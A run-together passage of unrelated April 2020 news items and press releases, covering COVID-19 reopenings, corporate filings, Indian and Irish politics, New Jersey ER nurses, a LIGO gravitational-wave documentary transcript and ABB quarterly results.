outdoor lighting control systems, as well as robust, reliable and advanced energy and water resource management systems based on RF wireless networks. With more than 22 years of experience in Machine-to-Machine technologies, the companys solutions support a wide spectrum of smart city applications, increasing their efficiency, reliability, and cost-effectiveness. The company has deployed hundreds of thousands of Light Control Units worldwide in dozens of cities. ST Engineering Telematics Wireless has also deployed over 15m cutting-edge wireless devices and water systems for Automatic Meter Readings, Advanced Metering Infrastructure, energy resource management, smart grid, location-based services, asset tracking, and electronic toll collection. ST Engineering Telematics Wireless is a subsidiary of ST Engineering, a global technology, defense and engineering group specializing in the aerospace, electronics, land systems and marine sectors. For more information, please visit www.telematics-wireless.com . Media Contact: Jenna Beaucage Rainier Communications Tel: 508-340-6851 Email: [email protected] [ Back To TMCnet.com's Homepage ] YEREVAN, APRIL 28, ARMENPRESS. Head of the Committee on International Relations and Migration Affairs of the Central American Parliament (PARLACEN) Daniel Ortegah issued a statement on the occasion of the 105th anniversary of the Armenian Genocide, recognizing and condemning the crime committed against Armenians in Ottoman Empire. ARMENPRESS reports the Embassy of Armenia in Mexico presented the text of the statement. 105 years ago, in an ordinary day for the world like today, the world learned with horror that during the World War I nearly 1.5 million Armenians were massacred by the Ottoman Empire. The leaders of the empire that was already shaking due to the military defeats allied with Germany to withstand the Entente Alliance during the period when the propaganda of the military leadership of the empire was trying to present Armenians as troublemakers of the fifth column serving the Russians', reads the statement, noting that Armenians were either killed or deported to the Syrian Desert by the Ottoman Empire, the successor of which is Turkey. The Head of the Committee of PARLACEN announced that he joins the countries, organizations and individuals that have recognized and condemned the Armenian Genocide. Reporting by Noraysr Shoghikyan, Editing and translating by Tigran Sirekanyan Apple is looking to reopen many of its retail stores outside of China by mid-May. This was revealed by Apples Vice President of retail and people, Deidre OBrien in a weekly update with the companys retail employees. Apple had closed all of its retail stores outside of China in March due to the COVID-19 pandemic. Initially, it had shut down its stores until the end of March before shutting them indefinitely. So far, the company has only reopened its retail store in South Korea since the virus outbreak has been contained there. Deirdre OBrien, vice president of retail and people, made the disclosure in a weekly video update, according to retail employees familiar with the matter. She didnt specify which stores or regions, but said we are continuing to analyze this health situation in every location, and I do expect we will reopen up many more stores in May. The company declined to comment. Apple wont reopen all its retail stores worldwide at once though. Instead, it will likely take this decision on a region-by-region basis depending on whether the virus outbreak has been contained in the region or not. The company is expected to open at least some of its retail stores in the United States in early May as some states have started lifting lockdown restrictions or plan to lift them soon. At the moment, it is still unclear when Apple will reopen its offices so that its employees can resume working from there, though this should also start happening in May in some regions. Our Take Whenever Apple reopens its retail stores outside of China, it is likely to introduce a number of health checks ups for customers as well as employees before they can enter the store. This will include temperature checks and limiting the number of people who can enter the store at any given time so that they can maintain enough distance between them. [Via Bloomberg John Isakson, Chief Financial Officer of PAC said, "This loan was committed before the COVID-19 pandemic took hold and Nationwide has been a great partner and lender and closed on the terms originally agreed to. This asset has performed well to date and we expect it to be a great asset for our portfolio long term." About Preferred Apartment Communities, Inc. Preferred Apartment Communities, Inc. (NYSE: APTS) is a real estate investment trust engaged primarily in the ownership and operation of Class A multifamily properties, with select investments in grocery anchored shopping centers, Class A office buildings, and student housing properties. Preferred Apartment Communities' investment objective is to generate attractive, stable returns for stockholders by investing in income-producing properties and acquiring or originating real estate loans. As of December 31, 2019, we owned or were invested in 123 properties in 15 states, predominantly in the Southeast region of the United States. Learn more at www.pacapts.com. Forward-Looking Statements This press release may contain forward-looking statements within the meaning of Section 27A of the Securities Act of 1933 and Section 21E of the Securities Exchange Act of 1934. These statements may be identified by the use of forward-looking terminology such as "may", "trend", "will", "expects", "plans", "estimates", "anticipates", "projects", "intends", "believes", "goals", "objectives", "outlook" and similar expressions. Because such statements include risks, uncertainties and contingencies, actual results may differ materially from the expectations, intentions, beliefs, plans or predictions of the future expressed or implied by such forward-looking statements. These risks, uncertainties and contingencies include, but are not limited to, (a) the impact of the coronavirus (COVID-19) pandemic on PAC's business operations and the economic conditions in the markets in which PAC operates; (b) PAC's ability to mitigate the impacts arising from COVID-19 and (c) those disclosed in PAC's filings with the Securities and Exchange Commission. PAC undertakes no obligation to update these forward-looking statements to reflect events or circumstances after the date hereof or to reflect the occurrence of unanticipated events, except as may be required by law. Additional Information The SEC has declared effective the registration statement (including prospectus) filed by the Company for each of the offerings to which this communication may relate. Before you invest, you should read the final prospectus, and any prospectus supplements, forming a part of the registration statement and other documents the Company has filed with the SEC for more complete information about the Company and the offering to which this communication may relate. In particular, you should carefully read the risk factors described in the final prospectus and in any related prospectus supplement and in the documents incorporated by reference in the final prospectus and any related prospectus supplement to which this communication may relate. You may obtain these documents for free by visiting EDGAR on the SEC website at www.sec.gov. Alternatively, the Company or its dealer manager, Preferred Capital Securities, LLC, with respect to its Series A1/M1 Redeemable Preferred Stock Offering, will arrange to send you a prospectus if you request it by calling John A. Isakson at (770) 818-4109, 3284 Northside Parkway NW, Suite 150, Atlanta, Georgia 30327. The Series A1/M1 Redeemable Preferred Stock Offering prospectus, dated October 22, 2019, can be accessed through the following link: https://www.sec.gov/Archives/edgar/data/1481832/000148183219000097/a424b5-2019seriesamshares.htm SOURCE Preferred Apartment Communities, Inc. Related Links http://www.pacapts.com A week after President Donald Trump publicly slammed Georgias governor for reopening that state too fast, he had a very different take on Gov. Greg Abbotts plan announced on Monday. Trump on Tuesday morning took to social media to praise Abbott for a great job in coordinating the Texas reopening. Texas to open businesses in phases beginning Friday, Trump tweeted. Great job being done by @GregAbbott_TX. His tweet came less than 24 hours after Abbott announced retail stores, restaurants, movie theaters and malls can re-open starting Friday but must limit operating capacity to 25 percent as part of phase one. If after two weeks, there are no flare-ups, Abbott said those places could move to phase two, and have up to 50 percent operating capacity. But Abbott said bars, hair salons and gyms are not ready yet for the same approach. He said hes working with health professionals on strategies for how they can safely resume, perhaps later in May. That appears to be a key difference between Abbotts plan and that of Georgia Gov. Brian Kemp, a Republican who allowed nail salons, massage therapists, bowling alleys and gyms to open as of last Friday. Although the Washington Post reported that Trump initially supported Kemps plan, during a White House briefing on Wednesday Trump said he opposed Kemps move. "I told the governor of Georgia Brian Kemp that I disagree strongly with his decision to open certain facilities which are in violation of the phase one guidelines for the incredible people of Georgia," Trump said. Trump continued: I want him to do what he thinks is right, but I disagree with him on what he's doing but I want to let the governors do (what they want). Abbott on Monday said he ran his re-opening plan directly by Dr. Deborah Birx, the White House coronavirus response coordinator. I sent her a copy of it, Abbott said. And she said the Texas plan was great. Abbott also was sure to praise Trump and his administration during the Monday briefing. They truly have been available to us on a 24/7 basis, Abbott said. At a White House briefing on Monday, Trump also mentioned the progress he said Houston has made in stemming the spread of the coronavirus. Vancouver, British Columbia--(Newsfile Corp. - April 28, 2020) - Calyx Ventures Inc. (TSXV: CYX) (the "Company") announces that the Company will be relying on the temporary 45 day extension to the filing deadline for its annual financial statements, the accompanying management's discussion and analysis, and the related officer certifications (collectively, the "Annual Filings") for the year ended December 31, 2019, as granted by the Canadian Securities Administrators in response to the ongoing Covid-19 pandemic. Prior to the extension, the Company was required to file the Annual Filings by April 29, 2020. Relying on B.C. Instrument 51-515 (Temporary Exemption from Certain Corporate Finance Requirements), affording the Company an additional 45 days from the deadline to file, the Company expects to file its Annual Filings on or before June 14, 2020. There have been no undisclosed material business developments since the filing of the last interim financial report. The Company acknowledges that management and other insiders are subject to a trading black-out policy that reflects the principles in Section 9 of National Policy 11-207 (Failure-to-File Cease Trade Orders and Revocations in Multiple Jurisdictions). For further information about Calyx, please visit www.calyxbio.com or contact: Roger Forde President and Chief Executive Officer Calyx Ventures Inc. Tel: 604.880.8822 Email: rogerf@calyxbio.com Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. This news release includes certain "forward-looking statements" under applicable Canadian securities legislation. Forward-looking statements include, but are not limited to, statements with respect to the anticipated timeline for filing of the Annual Filings. Forward-looking statements are necessarily based upon a number of estimates and assumptions that, while considered reasonable, are subject to known and unknown risks, uncertainties, and other factors which may cause the actual results and future events to differ materially from those expressed or implied by such forward-looking statements. Accordingly, readers should not place undue reliance on forward-looking statements. The Company disclaims any intention or obligation to update or revise any forward-looking statements, whether as a result of new information, future events or otherwise, except as required by law. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/54999 I cannot help but note that, with all that has been tried, only contact with family and friends appears to have any affect on recidivism, she said. One of the reasons Im resisting sending these people farther away is that it does defeat the purpose of having a halfway house in D.C. in the first place. Pune: While Sassoon General Hospital is awaiting permission from the Indian Council of Medical Research (ICMR) to start plasma therapy on patients, the Union ministry of health on Wednesday clarified that the treatment should be used only for research and trial purpose and not on patients. Earlier, state health minister Rajesh Tope had said that Centre has granted permission to start plasma therapy in government hospitals in Maharashtra following which Pune district administration prepared a list of donors though few of them expressed reluctance to offer plasma. While the central health ministry has approved the usage of plasma therapy to treat critically ill Covid-19 patients in Maharashtra, every hospital needs an official permission from the ICMR to begin the treatment process. Dr Subhash Salunkhe, chairman, Communicable Diseases Prevention and Control Technical Committee, said, We are in final stages of approval before we can start the process of plasma therapy. We have prepared a list and are convincing people to donate their blood for treatment of others. Some people had refused to donate blood which is their right. As soon as the official paper work is over, we can start with plasma transfusion for critically ill patients. Most of those identified by the district administration as donors are those who recovered in the first batch during March. One of the person recovered from Covid-19 from that batch said requesting anonymity, It is true that PMC officials called me for plasma therapy, but I havent made up my mind. On Monday, Pune-based businessman Avinash Bhosale donated a plasmapheresis machine used to separate plasma from blood of a cured patient. The machine can be put to use only after approval from the ICMR. Pune divisional commissioner Deepak Mhaisekar said, For the treatment of critically ill patients, we are awaiting approval from the ICMR for use of plasma therapy. A plasmapheresis machine has been donated to Sassoon which would be used to start the therapy. At Delhi, on Wednesday, Lav Aggarwal, joint secretary, ministry of health said, Plasma therapy is being experimented, however no evidence that this can be used as a treatment. National level study is launched by ICMR to study the efficacy. Contact your admissions counselor Graduate applicants Because Michigan State University has a decentralized graduate admissions process, graduate applicants should contact the department/program of their interest directly. All others can answer the questions below based on the location of their school to determine which MSU admissions counselor is best suited to assist them. 28.04.2020 LISTEN The ordinance for higher education is knowledge generation. Beyond this, universities equally strive to exploit knowledge and, as rightly posited by Prof. Irene Moutlana (former Vice Chancellor of Vaal University of Technology) and quoted in the October 3, 2015 edition of University World News in a Karen MacGregor article, higher education institutions are businesses that sell a highly perishable commodity knowledge. As the economy changes, or the context changes, so too must content of curricula and the learning experiences of students, in order for them to meaningfully contribute to socio-economic development. It is not difficult to assert that universities are gravitating towards innovation and entrepreneurship. But the key issue is that many educational institutions do not know what they want when they talk about entrepreneurship. What is entrepreneurial about a university? First, there is no single definition of entrepreneurship. The key entrepreneurial processes for universities begin with the motivation to make a difference, identifying opportunities, finding and aligning resources, managing the risks, and building financial and social capital. In essence, entrepreneurship should lead to the development of new ideas, products, or organizational schemes but these will be relevant only when they have actually been used. This understanding helps entrepreneurs to build more effective and sustainable businesses that creates value. In education, this value will have different meanings to different stakeholders. To students, the value is in skills portability, employability or the prospects of higher earnings after school. Academic staff may see it in the innovative teaching approaches that assures them job security, promotion or professional development. Universities, as the corporate entities, will seek to enhance their reputations by, for example, developing tailored programmes to meet dire societal needs. An entrepreneurial university will be the one that operates as a sustainable business and measures its impact across board. Overcoming entrepreneurial barriers in universities One major weakness of African universities is human capacity development. From a survey by the African Capacity Building Foundation (ACBF) on the capacity requirements for the implementation of the first 10 years of African Unions Agenda 2063, Africa had only 55,000 engineers against an estimated 4.3 million engineers by 2023. This meant that the continent needed to produce over 300,000 engineers annually until 2023. Likewise, for an estimated 152,000 agricultural scientists needed by 2023 against a pool of 82,000, the continent needed to produce an average 8,000 agricultural scientists per year till 2023. The geologists needed by 2023 is 174,000 but with just 21,000 available, the continent needed an average 19,000 more geologists annually until 2023. Looking back into history, Africa may have had a huge reservoir of skilled labour attested to by the imposing pyramids of Giza in Egypt and the numerous ones scattered in that country and in The Sudan. One wonders how much logistics and arithmetic calculations may have gone into building them. But our 21st century engineers, though intelligent, are both quantitatively inadequate and also do not have the business acumen to turn the fortune of Africa around - from being exporters of raw materials like cocoa and copper. To instigate change for entrepreneurship to happen, leadership is important. If the foundation of the university is not right, it needs to be put right. No entrepreneurship strategies will work in our universities if we have wrong people at the helm of affairs, especially the senior university leaders like the Vice Chancellors under whose direction the universities thrive, and upper middle managers such as the Directors of Colleges and Deans of Departments who are the key change implementers in the institutions. In thinking along the line of value addition at the senior decision-making level, universities should broaden the membership of their Councils to include industry players and development partners who will likely bring in different perspectives of the same idea. In the world of knowledge, it is misplaced to emphasise the superiority of some disciplines over others. To shift the paradigm, we need to adopt a multidisciplinary dialogue of all disciplines (history, engineering, economics, etc.). An entrepreneurial university will blend all cross-disciplinary educational strategies (mono-, inter-, multi-, and trans-disciplinarity) to make both sense (as of natural sciences) and nonsense of academic specialization. In addition, our pedagogy should be indexed in context and teaching should induce learning. A teaching-learning situation is one in which both teacher and student are learning, and one where successful learning means a positive and lasting change in behaviour, in outlook, and in ways of going about life (Emeritus PAI Obanya, nd). Very important but often neglected is the integration of indigenous knowledge in the teaching of new knowledge, skills and value systems. Whoever knows that boatmaking is indigenous to Africa, and how have universities fully exploited the potentials in local gin, or salt? How have we exploited the use of alternative medicine (herbal medicine) like China and South Korea are doing in their countries and making billions of dollars annually as revenue. If India is producing her own textbooks, why not Africa? Entrepreneurship can be promoted by appropriate teaching so once we begin to own our indigenous knowledge, the required parameters will fall in place. Finally, universities on a path of entrepreneurship should establish Technology Transfer Offices (or Intellectual Property Offices) to help them develop and implement effective IP policies. Once discoveries have been made, the universities should assist in creating new businesses from the research outcomes. A federal judge in Kentucky has ordered companies owned by West Virginia Gov. Jim Justice to pay more than $1 million in fees and expenses in a lawsuit that accused them of defaulting on a mining contract. U.S. District Judge Gregory F. Van Tatenhove denied a motion by the James C. Justice Cos. Inc. and subsidiary Kentucky Fuel Corp. to reconsider the case and to conduct oral arguments. Van Tatenhove in September ordered the companies to pay $35 million to the New London Tobacco Market and Five Mile Energy. Nearly all of the fees and expenses will be paid to the law firms for the plaintiffs and the rest will go to the plaintiffs, according to Van Tatenhoves order Friday. In addition, the judge ordered Lexington, Kentucky attorney Richard Getty and his firm, who represented Justices companies, to pay $10,000 to the plaintiffs within 30 days and warned Getty not to present misleading and frivolous arguments to the Court in the future. The 2012 lawsuit accused the Justice companies of failing to pay mining royalty payments and retainer fees. Van Tatenhove said in his order that the lengthy case had already involved a three-day evidentiary hearing on damages alone. Defendants apparently equate `due process with success on the merits. Nothing is fair unless decided in their favor, the judge wrote. Defendants began this litigation with the same opportunities for discovery and presentation of evidence as any other litigant, but they have squandered these opportunities with poor strategic decisions and contumacious, combative conduct. Getty sought to reconsider the September order under a rule 59 motion, but Tatenhove said such motions can only be granted if there was a clear error of law, newly discovered evidence, a change in controlling law or to prevent injustice. The judge said the rule is not an opportunity to re-argue a case. Defendants persistence on this point calls to mind the mythological Hydra it feels as though every time the Court addresses this argument in one motion, it appears again in two others. Justice has a net worth of more than $1 billion. Earlier this month, federal prosecutors said Justices coal companies agreed to pay more than $5 million for thousands of mine safety violations. Topics Virginia Mining Kentucky Fiannna Fail leader Micheal Martin wants a significant shake-up of cabinet portfolios if he enters a coalition government with Fine Gael. Mr Martin wants a new department to solely focus on third-level education and research. The party leader has also suggested tourism may need a standalone department to address the economic impact of the Covid-19 pandemic on the sector. He also wants to remove disability services from the Department of Health to ensure people with conditions have better opportunities. His comments come as Fianna Fail and Fine Gael prepare a response to the Green Party's demands for entering programme for government talks. Speaking to the Herald, Mr Martin said he is "very keen" to have a new department in the next cabinet focused on higher education and research. He insisted the sector is the key to creating new companies and products which will aid the economic recovery. "It is not the sexiest thing politically, it doesn't win votes, but research is absolutely essential," he said. "We need to grow our own internationals in medical devices, in pharmaceuticals and also in software. Unfortunately we tend to get to a certain level and someone comes in and buys up our people." Mr Martin said he is "actively" considering the need for a ministry for tourism. "Part of the economic recovery will have to be looking at how to incentivise people to holiday at home, presuming you can get restaurants open again and hotels to open again before the year is out," he said. Health He is not in favour of breaking up the Department of Health, as the "holy grail" is to properly integrate acute hospital care with community services. However, he wants to improve disability services and said this could involve removing it from the health portfolio. Fianna Fail and Fine Gael are set to finalise their response to 17 questions raised by the Green Party as early as today. Green leader Eamon Ryan has identified a demand for a more ambitious 7pc-a-year reduction in carbon emissions as a red line for his party. The Regional Independent Group of nine TDs convened by Denis Naughten has also been involved in talks. Former climate action minister Mr Naughten has described the 7pc-a-year target is "unattainable". However, he said the Regional Independent Group has not ruled out joining a government that involves the Green Party but is waiting to see Fianna Fail and Fine Gael's response. Watching someone die isnt easy. Jodi Kipila has witnessed it far too many times, often from right beside their hospital beds. Death is a part of the job when youre a registered nurse in an emergency room. But it has reached a whole new level of cruelty in the age of the coronavirus, as the loved ones of patients have been barred from visiting them, unable to say goodbye. So nurses like Kipila at CentraState Medical Center are there instead, holding the hands of the dying. Whats hard is you see a patient dying with no one here, said Kipila, who has worked at the Freehold hospital since 1997. All I can do is FaceTime with their family. Thats rough. Here I am a perfect stranger, sitting with their family, letting them watch their loved one on my phone." She paused to collect her emotions, then continued. I just put myself in their shoes," Kipila said. I act as their family. Im the daughter to this man right now. Thats all I can do. ... But Im glad that I am there for the families, and theyre not alone. Hospitals throughout New Jersey have long been forced to prohibit visitors due to the highly contagious nature of the coronavirus. It has left nurses to fill the void, serving as proxies for loved ones as their patients take their final breaths whether they spend a few quiet minutes with them or connect them with their family over a video call. But the care those CentraState nurses are providing is taking an emotional toll. They are going through the grieving process themselves in a pandemic that has resulted in at least 6,442 deaths statewide. Kipila has held the hands of five ailing people since early March, she said. They were alive one moment, the deterioration comes, and an hour later theyre gone," she said. Its awful." Deborah Burg has spent most of her two decades in nursing as a caretaker for patients. But her new role demands even more one part nursing, one part psychology. As the nurse manager in CentraStates emergency department, Burg lends a sympathetic shoulder to her emotionally devastated staff. I spent a lot of years at the bedside as an ICU nurse and an [emergency department] nurse," she said. Now, as this thing has consumed our entire unit, Ive become a therapist." Nurses in emergency rooms are used to dealing with death. But since CentraState admitted its first patient with COVID-19 symptoms March 5, the losses have been unprecedented. Witnessing it takes on a whole different meaning," Burg said. All those years when I was bedside as a critical care nurse, the families were there," she added. They were able to hold their loved ones hand at the end." The stories of family members forced to say their final goodbyes via FaceTime video call are heart-wrenching and all-too-common" at one of Monmouth Countys largest hospitals, Burg said. We have iPhones in the units," she said. If the family wants to talk or vice versa, we take these phones and a nurse is going in there, theyll hold the patients hand for a few minutes and hold the phone in their other hand while FaceTimeing the family." CORONAVIRUS RESOURCES: Live map tracker | Newsletter | Homepage The emergency department medical personnel at CentraState Healthcare System in Freehold. Counter clockwise from bottom left: Kimberly Weiner, Binita Beam, Jodi Kipila, Geri Sobolewski, Deborah Burg and Laurie Gambardella. Just being there One by one, the nurses made their way to Room 46 of the emergency department on April 21. I was assigned to report on whats happening inside an ER. The objective was to capture a snapshot of the day from the viewpoint of the medical workers on the front lines of the crisis. I went in with a list of questions, but ultimately let the nurses do the talking. Without prompting, the interviews veered toward their experiences directing the FaceTime videos. Kimberly Weiner, an emergency department tech, said the video chats will never replace the presence of family members at the bedside of the dying. But its something," she said. I feel honored to be able to be there when their family cannot be," Weiner added. To hold their hands and give them that little bit of hope they have left at least they feel like they have somebody by their side." Binita Beam was a week removed from passing her board exams when she joined the ER team of approximately three dozen medical personnel in mid-March. There was no training in medical school to take on the role of a loved one for someone in the late stages of life. Taking the place of the family at bedside, thats the toughest part," Beam said. Who wouldve ever thought FaceTime would be the thing at the end of life?" How does it affect them? Laurie Gambardella scoffed at the question. CentraStates director for the emergency department wasnt being rude. Theres no way you dont take it home with you, she said. Im not at the bedside, but I see the toll its taken on our nurses, our techs and our doctors. Everybody takes something home with them. Burgs role as nursing manager requires her to implement directives, handle documentation and fill in the gaps in patient care when necessary. As the resident therapist, Burg does her best to maintain her composure while listening to the stories of her nurses grief. But shes human, too. I dont want to bring (the emotions) home to my family, so Ill cry a lot in the car," Burg said. If Im going to lose it, I try to go into a different room. I dont want anyone to know how frightened I am because that will only make others more frightened. It never gets any easier." Thank you for relying on us to provide the journalism you can trust. Please consider supporting NJ.com with a voluntary subscription. Keith Sargeant may be reached at ksargeant@njadvancemedia.com. Wherever you go, there are things in nature that you can see or things that you hear. [MUSIC PLAYING] Things that sort of grab you and put some question in your mind. For example, you see a rainbow. I mean, theyre this wonderful mysterious thing. But why? Why does this happen? And we find out its because of the way the different colors get separated inside of a water drop. Understanding whats going on in nature, that makes you more at unity with what is around you. Thats what science is about. And sometimes, when you look at the world, youre going to learn something brand new. Something nobody has ever seen before. And thats what this whole story is about. [MUSIC PLAYING] So when I was a kid, I was sort of a lousy student. School was quite rigid and grades were a thing that some people made a big fuss over. I just couldnt see it. But I got mixed up with electronics real early in my life. There was a section of New York City, which, for nickels and dimes, I could buy all sorts of wonderful electronic junk. You could make almost anything you wanted. And so I learned most of the things that I learned in my life by building something and then trying to make it work. So I came to M.I.T., and they took me, which is sort of miraculous. I dont know why, but they took me. And I became a physicist, by default. Because it looked to me like physics was a place where you had a little more freedom. And thats where, suddenly, I got my education into what became permanently part of my life. And it was the Einstein Theory of General Relativity. Now general relativity is tricky. But the way I can best explain it to you is that it was a completely different conceptualization of how gravity operates. So for Einstein, the way he thought about gravity was it actually distorted space and time. Took straight lines in space and made them curved lines. Its a thing that actually changes the realm of nature. At the time, it was just unbelievable shock-worthy stuff. But it turns out he was absolutely right. You have to understand, Einstein had an intuition that was remarkable. He understood nature in a visceral way, almost like he had a direct pipeline to God, if you want to call it that. Then in 1916, he writes about something called gravitational waves. He recognizes that matter makes waves when it gets accelerated. And it travels at the velocity of light and stretches space in this dimension and compresses space in that dimension. And it goes through everything. It just nothing stops the gravitational waves. But then, he comes to the conclusion right at the end of that paper and says, look, this new thing I just invented, this is never going to amount to anything you can measure. Its just too tiny. Its hopeless. But the fact is that, in this case, Einstein was completely wrong. And that is really that whole story of LIGO. [TAPE REWINDING] Anyway, so lets get back to M.I.T. Eventually, I became a faculty member. And I was asked to teach a general relativity course to graduate students. And as the course wore on, the students asked me how you would make a device that can measure gravitational waves. So I remember, on Sunday night, and the lecture was on Tuesday, it suddenly dawned on me, maybe the right way to explain this is really simple. You put a mass over here, and you put another mass over there. Put a mirror on this. And then you take a light source and measure the time it takes the light to go from here to there and back again. And now what happens is that a gravitational wave comes down on this thing and change the space in between those two masses. And that would change the time it took the light to go back and forth. Very simple calculation. I said that, Eh! Thats the way to do a gravitational wave detection. Now you understand. So I said, OK, Id like to build a prototype. So one of us has to stand on the table and And it eventually became clear to me I had to have three masses so you could measure both the stretching of space as well as the shrinking of space. And then you could compare those two. I clearly had to use lasers. And then we had to measure the tiny little motions that are associated with the gravitational wave. Its about one-thousandth the size of a nucleus of an atom. Such a small fraction that nobody can conceive of something so small. And measure it thats crazy! But anyway, we built a prototype. And we started operating it. So the laser is here. The light comes out and goes streaming through a whole bunch of stuff. And the first thing, this is Rais phase modulating crystals. But at the same time, there was no support for this crazy research. Because I wasnt saying we are going to see gravitational waves with it. I couldnt. I would have lied if I said we have the technology now. We had another factor of a million to go. People threw us out the door when we told them that. But the National Science Foundation started funding me at a reasonable level so I could start building bigger detectors and a bigger team. I first met Rai Weiss as a first-year graduate student at M.I.T. And when I talked to him about gravitational waves, I actually thought he was really just crazy, because it was such an impossible measurement to make. But if it worked, it was really going to open up a completely new window into the universe. So I mean who can resist that? [MUSIC PLAYING] So when I joined, I was part of the team that built the LIGO Gravitational Wave Observatory that was proposed by Rai Weiss in the early 1970s. He proposed that you have to use very long detectors. So we built these four-kilometer-long facilities in Washington and Louisiana that were large enough that it became kind of possible to think about detecting gravitational waves from them. But at the same time, there were no guarantees that wed see anything. We knew we were charting unknown territory. So LIGO is a gravitational wave telescope. And because of Einsteins theory, we knew that out in the universe we have black holes. And black holes, in some sense, are the most gravitational object you could imagine. They have so much mass in a small volume that even light cant escape their gravitational pull. But by the 70s and 80s, we had the theory that black holes can exist in pairs, orbiting each other. And they get closer and closer, and they orbit faster and faster until eventually they collide. And in that process, they radiate these ripples of spacetime that travel to us. And we here on the Earth get rocked, ever so slightly, by the passing gravitational wave. And then, in the detector, those mirrors will move closer together or farther apart. And so our computer would see the signal, which is just a series of peaks and troughs that were growing in size and getting closer in time. So thats what we were trying to see. But let me just tell you, no one had ever seen two black holes collide. And it was seen as something that was a pretty long shot. So yeah, I had moments where I would really question, you know, will we see these gravitational waves in my lifetime? Because even if it occurs in nature, we werent sure if the instrument would be sensitive enough. But here we were in September 2015, construction was coming close to completion, and we had to at some point say, OK, the improvements are going to wait, were going to turn on the instrument. And then, overnight, the instrument registered something interesting. Whoa, whats that? Whats happened? I go to the computer, and I look at the screen. And lo and behold, there is this incredible picture of the wave form. And it looked like exactly the thing that had been imagined by Einstein. Now I have to admit to you that I was still skeptical for a long, long time. Because especially with so many reputations and all that beautiful work that had now gone into this thing, we did not want to come and make a false detection. But eventually, it came down to the point where we began to believe it. Ladies and gentlemen, we have detected gravitational waves. We did it. Scientists have announced what may be among the greatest discoveries in the history of physics. Gravity waves predicted by Einstein, but never observed. My first thought was, too bad Einstein isnt alive anymore, Id love to tell him about it. And what would he have said? My guess is that Einstein would have been tickled pink but also very skeptical and want to know exactly how the technology worked. Thats my guess. And then, it only slowly dawned on us that we had made new science. Science which is really at the basic core of the fundamentals of what makes nature operate. The Royal Swedish Academy of Sciences has decided to award the 2017 Nobel Prize in Physics to Rainer Weiss for the observation of gravitational waves. Rai Weiss knew how to measure gravitational waves in 1972. And hes been going at it ever since. And so thanks to this work, suddenly, we have developed an entirely new sense for observing the universe. We are hearing gravity for the first time. And in some sense, we may be able to sort of hear the assembly of the first galaxies to try to understand how our universe came to be and was assembled. Its pretty amazing. I think the science of physics the natural philosophy of the universe belongs to everybody. Belongs to you, belongs to me, belongs to everybody. But, I mean, I am 87. And so this new science is something which is a challenge to the young people. Thats the future. So now let me ask you a question. With gravitational waves, you have a new way to look at the universe. You can see all of what nature has in store. So now comes the question: What do you want to find out? Its going to be spectacular, I think. Mumbai: A delegation of Maharashtra Vikas Aghadi (MVA) ministers led by deputy chief minister Ajit Pawar met governor Bhagat Singh Koshyari Tuesday evening at Raj Bhavan and urged him to take a decision on nominating chief minister Uddhav Thackeray to the legislative council. The meeting is seen as an attempt to build pressure on the Governor to take a decision on the recommendation of the state cabinet. With under a month left for Thackeray to fulfil the constitutional requirement of becoming a member of either house of the state legislature, the alleged delay by the Governor has kept the proverbial sword of Damocles hanging over Thackeray and the state government. On Monday, the Maharashtra cabinet, in a meeting presided over by Pawar, decided to write to the Governor, reiterating its earlier recommendation to process the nomination of chief minister Thackeray to the legislative Council at the earliest. On April 9, the state Cabinet had cleared a proposal recommending the nomination of Thackeray to Governor on the vacant seats of the upper house of the state legislature. The recommendation was sent to the governor but even after 19 days, the Raj Bhavan has not taken a decision. The Cabinet has again recommended Uddhav Thackeray [to be nominated]; a letter pertaining to it was submitted to the Governor. The group leaders of the three parties of the Maharashtra Vikas Aghadi, deputy chief minister and Chhagan Bhujbal met the governor and yet again requested him to take a decision at the earliest on the recommendations that have made by the Cabinet twice, said Jayant Patil, state minister and Maharashtra president of the Nationalist Congress Party (NCP). Besides Pawar, Patil, and Bhujbal, Shiv Senas Eknath Shinde and Anil Parab and Congress Balasaheb Thorat were also part of the MVA delegation to the Raj Bhawan. Patil also declined to comment if the delay could be politically motivated to create instability in the state. Thackeray, who is not a member of either of the House of the state legislature, took oath as the chief minister on November 28. According to Article 164 (4) of the Constitution, a minister, who for any period of six consecutive months, is not a member of the legislature shall at the expiration of that period cease to be a minister. The six-month period in Thackerays case will end on May 27. As the MLC polls, scheduled for April 24, were pushed back due to the pandemic, the Maharashtra cabinet recommended Governor Koshyari to appoint Thackeray as a member of the Legislative Council (MLC) to avoid a constitutional crisis. CLEVELAND, Ohio -- Fox Nation personalities Diamond and Silk will no longer appear on the streaming service or its cable parent Fox News, according to a report by the Daily Beast. The YouTube vloggers, sisters Lynnette Hardaway and Rochelle Richardson, hosted a weekly video series on Fox Nation and made occasional appearances on Fox News. But the pair, who are two of President Donald Trumps most visible African American supporters, havent appeared on either since April 7. Fox News did not respond to a request for comment. Their apparent banishment comes as the duo continues to make dubious claims about the coronavirus. On their March 30 live stream, for example, they suggested the number of deaths from COVID-19 was being exaggerated to make Trump look bad. What I need to know is: Who has the bodies? Diamond asked. A week later, their Twitter account was locked for violating the platforms rules about spreading coronavirus misinformation, Politico reported. The only way we can become immune to the environment; we must be out in the environment. Quarantining people inside of their houses for extended periods will make people sick! the offending tweet said. On Monday, Diamond and Silk called the pandemic and resulting economic shutdown a Deep State experiment that weve all been suckered into. The move comes about a month after Fox Business Network parted ways with primetime host Trish Regan after she called the coronavirus an impeachment scam. Fox News personalities Sean Hannity, Laura Ingraham, Jesse Watters and others have also come under fire for downplaying concerns over the virus, particularly during early coverage of the pandemic. [April 28, 2020] ABB: Q1 2020 Results "The COVID-19 pandemic impacted our first quarter results, lowering revenues and operating margins in all our businesses, although order growth held up well. We are doing our utmost to ensure the health and safety of our employees while maintaining business continuity, serving our customers and continuing to invest in R&D for the long-term," said Bjorn Rosengren, CEO of ABB. "In the second quarter, we expect ABB's operations to be significantly challenged by a sharp drop in demand due to lockdowns in many parts of the world. Nevertheless, we will accelerate our efforts to manage our costs and safeguard liquidity, while moving ahead with decentralizing the group and our target to complete the divestment of Power Grids at the end of the second quarter." KEY FIGURES CHANGE ($ millions, unless otherwise indicated) Q1 2020 Q1 2019 US$ Comparable Orders 7,346 7,613 -4% +1% Revenues 6,216 6,847 -9% -7% Income from operations 373 590 -37% Operational EBITA1 636 766 -17% -16%3 as % of operational revenues 10.2 11.2 -1.0 pts Income from continuing operations, net of tax 326 415 -21% Net income attributable to ABB 376 535 -30% Basic 